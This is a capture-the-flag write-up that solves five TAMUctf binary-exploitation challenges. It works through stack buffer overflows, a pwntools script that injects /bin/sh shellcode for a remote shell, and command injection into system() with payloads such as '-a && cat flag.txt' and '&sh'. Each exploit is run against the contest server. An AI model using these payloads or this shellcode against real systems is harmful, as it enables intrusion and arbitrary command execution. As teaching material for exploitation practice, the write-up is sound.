Pwn 1
The given file is a 32bit elf.
Find the binary here: pwn1
$ file pwn1
pwn1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d126d8e3812dd7aa1accb16feac888c99841f504, not stripped
Let’s run it to see what it is about.
$ ./pwn1
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
AAAA
I don't know that! Auuuuuuuugh!
So it’s looks like the binary wants some answers from us.
I decompiled it with IDA to have the pseudo code, as it will make the reversing part fast enough.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+1h] [bp-3Bh]@1
int v5; // [sp+2Ch] [bp-10h]@1
int v6; // [sp+30h] [bp-Ch]@1
int *v7; // [sp+38h] [bp-4h]@1
v7 = &argc;
setvbuf(stdout, (char *)2, 0, 0);
v6 = 2;
v5 = 0;
puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
puts("What... is your name?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "Sir Lancelot of Camelot\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is your quest?");
fgets(&s, 43, stdin);
if ( strcmp(&s, "To seek the Holy Grail.\n") )
{
puts("I don't know that! Auuuuuuuugh!");
exit(0);
}
puts("What... is my secret?");
gets(&s);
if ( v5 == 0xDEA110C8 )
print_flag();
else
puts("I don't know that! Auuuuuuuugh!");
return 0;
}
So the binary will read 3 inputs from us and expects the “right” answer for each question. The frst two are pretty simple as it’s just the good string to give.
The last check is about v5. It should be egal to 0xDEA110C8
.
Once all asnwers are corrects, it will execute the print_flag
function.
As the function gets
is vulnerable to buffer overflow we will make one to overwrite the value of v5.
Checking the file security we see that there is no canary, a buffer overflow attack is indeed possible.
checksec -f pwn1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH 77 Symbols No 0 4 pwn1
So the goal is to fill the buffer and then overwrite the value of v5. As we can see the len of the buffer is 43 bytes.
The payload will then looks like: [43 bytes of junk][0xDEA110C8]. We then have to add the answers of the 2 previous questions -> [answer1][answer2][43 bytes of junk][0xDEA110C8]
Let’s run it.
echo -e "Sir Lancelot of Camelot\nTo seek the Holy Grail.\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xc8\x10\xa1\xde" | nc pwn.tamuctf.com 4321 139 ↵
Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.
What... is your name?
What... is your quest?
What... is my secret?
Right. Off you go.
gigem{34sy_CC428ECD75A0D392}
Pwn 2
The given file is a 32bit elf.
Find the binary here: pwn2
Here the program asks us to execute a function given by its name.
./pwn2
Which function would you like to call?
one
This is function one!
The given IDA’s pseudo code is the following:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+1h] [bp-27h]@1
int *v5; // [sp+24h] [bp-4h]@1
v5 = &argc;
setvbuf(stdout, (char *)2, 0, 0);
puts("Which function would you like to call?");
gets(&s);
select_func(&s);
return 0;
}
int __cdecl select_func(char *src)
{
char dest; // [sp+Eh] [bp-2Ah]@1
int (*v3)(void); // [sp+2Ch] [bp-Ch]@1
v3 = (int (*)(void))two;
strncpy(&dest, src, 0x1Fu);
if ( !strcmp(&dest, "one") )
v3 = (int (*)(void))one;
return v3();
}
int print_flag()
{
char i; // al@1
FILE *fp; // [sp+Ch] [bp-Ch]@1
puts("This function is still under development.");
fp = fopen("flag.txt", "r");
for ( i = _IO_getc(fp); i != -1; i = _IO_getc(fp) )
putchar(i);
return putchar(10);
}
So we have again a buffer overflow where the goal is to overwrite v3 with the address
of the print_flag
function.
We will fill the buffer (30bytes) and overwrite the value of v3
As the address of the print_flag
function is only one byte different from the address of the two
function, we only need to write the LSB.
function two's address: 0x000006AD
function
print_flag's address: 0x000006D8
(addresses found with IDA)
The payload will therefore be [30bytes of junk][LSB of the address to write]
Let’s craft and run it!
echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xd8" | nc pwn.tamuctf.com 4322
Which function would you like to call?
This function is still under development.
gigem{4ll_17_74k35_15_0n3}
Pwn 3
The given file is a 32bit elf.
Find the binary here: pwn3
The program itself leak an address.
./pwn3
Take this, you might need it on your journey 0xffab239e!
AAAA
Let’s disassemble it to see what it is about.
public echo
echo proc near
s= byte ptr -12Ah
var_4= dword ptr -4
push ebp
mov ebp, esp
push ebx
sub esp, 134h
call __x86_get_pc_thunk_bx
add ebx, 1A20h
sub esp, 8
lea eax, [ebp+s]
push eax
lea eax, (aTakeThisYouMig - 1FCCh)[ebx] ; "Take this, you might need it on your jo"...
push eax ; format
call _printf
add esp, 10h
sub esp, 0Ch
lea eax, [ebp+s]
push eax ; s
call _gets
add esp, 10h
nop
mov ebx, [ebp+var_4]
leave
retn
echo endp
The program here is pretty simple. It gives us an address A, and then read our input that will be stored at this address.
So the goal is to write a shellcode, jump to the given address to execute it.
To do so, we will exploit the gets(buff)
function with again a buffer overflow to overwrite EIP with the address given at which is our shellcode.
As the address is not always the same, we will use pwntool to exploit the binary. This challenge is a great one to start using pwntool as the exploit is pretty simple.
#!/usr/bin/env python2.7
from pwn import *
def parse(text):
# ugly parsing
pos = text.find("0x")
addr = text[pos+2:pos+10]
addr = int(addr, 16) # leak
print(addr)
return p32(addr)
if __name__ == '__main__':
#e = process("./pwn3")
e = remote("pwn.tamuctf.com", 4323)
out = e.recvline()
addr = parse(out)
print("[+] Input address: " + addr)
payload = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80' # shellcode /bin/sh
payload +='A'*281 # fill buffer
payload += addr
# execution
#print(payload)
print(e.sendline(payload))
e.interactive()
As I’m not used to pwntool, I did an ugly parsing, a better way to do is to use the recvuntil() function to make the parsing.
python2.7 exploit_pwn3.py
[+] Opening connection to pwn.tamuctf.com on port 4323: Done
4288163966
[+] Input addresse: ~0\x98\xff
None
[*] Switching to interactive mode
$ cat flag.txt
gigem{r3m073_fl46_3x3cu710n}
Pwn 4
Find the binary here: pwn4
I think the code here had an unwanted vulnerability (hum ^^), so the method used below is, I think, not the intended one. But hey, a shell is a shell.
Let’s quickly look at the code.
int laas()
{
int result; // eax@2
char s; // [sp+7h] [bp-21h]@1
puts("ls as a service (laas)(Copyright pending)");
puts("Enter the arguments you would like to pass to ls:");
gets(&s);
if ( strchr(&s, '/') )
result = puts("No slashes allowed");
else
result = run_cmd((int)&s);
return result;
}
int __cdecl run_cmd(int a1)
{
char s; // [sp+2h] [bp-26h]@1
snprintf(&s, 0x1Bu, "ls %s", a1);
printf("Result of %s:\n", &s);
return system(&s);
}
So it will appends our input to "ls "
and call it as an argument of the system(input)
function.
We then can simply execute another command with the &&
characters.
The payload will looks like this: -a && cat flag.txt
nc pwn.tamuctf.com 4324
ls as a service (laas)(Copyright pending)
Enter the arguments you would like to pass to ls:
-a && cat flag.txt
Result of ls -a && cat flag.txt:
.
..
flag.txt
pwn4
gigem{5y573m_0v3rfl0w}
Pwn 5
Find the binary here: pwn5
int __cdecl run_cmd(int a1)
{
char v2; // [sp+6h] [bp-12h]@1
snprintf(&v2, 7, "ls %s", a1);
printf("Result of %s:\n", &v2);
return system(&v2);
}
The program here is very similar to the pwn4 challenge. The only difference is that we have less space to write our payload (7 characters - len("ls "
) == 4 characters).
Once again, I think that’s not the intended way of exploitation. But let’s work smarter not harder this time.
With 4 characters we have enough place to complete the command as follow : ls &sh
&sh
Result of ls &sh:
flag.txt
pwn5
cat .flag.txt
ls
flag.txt
pwn5
cat flag.txt
gigem{r37urn_0r13n73d_pr4c71c3}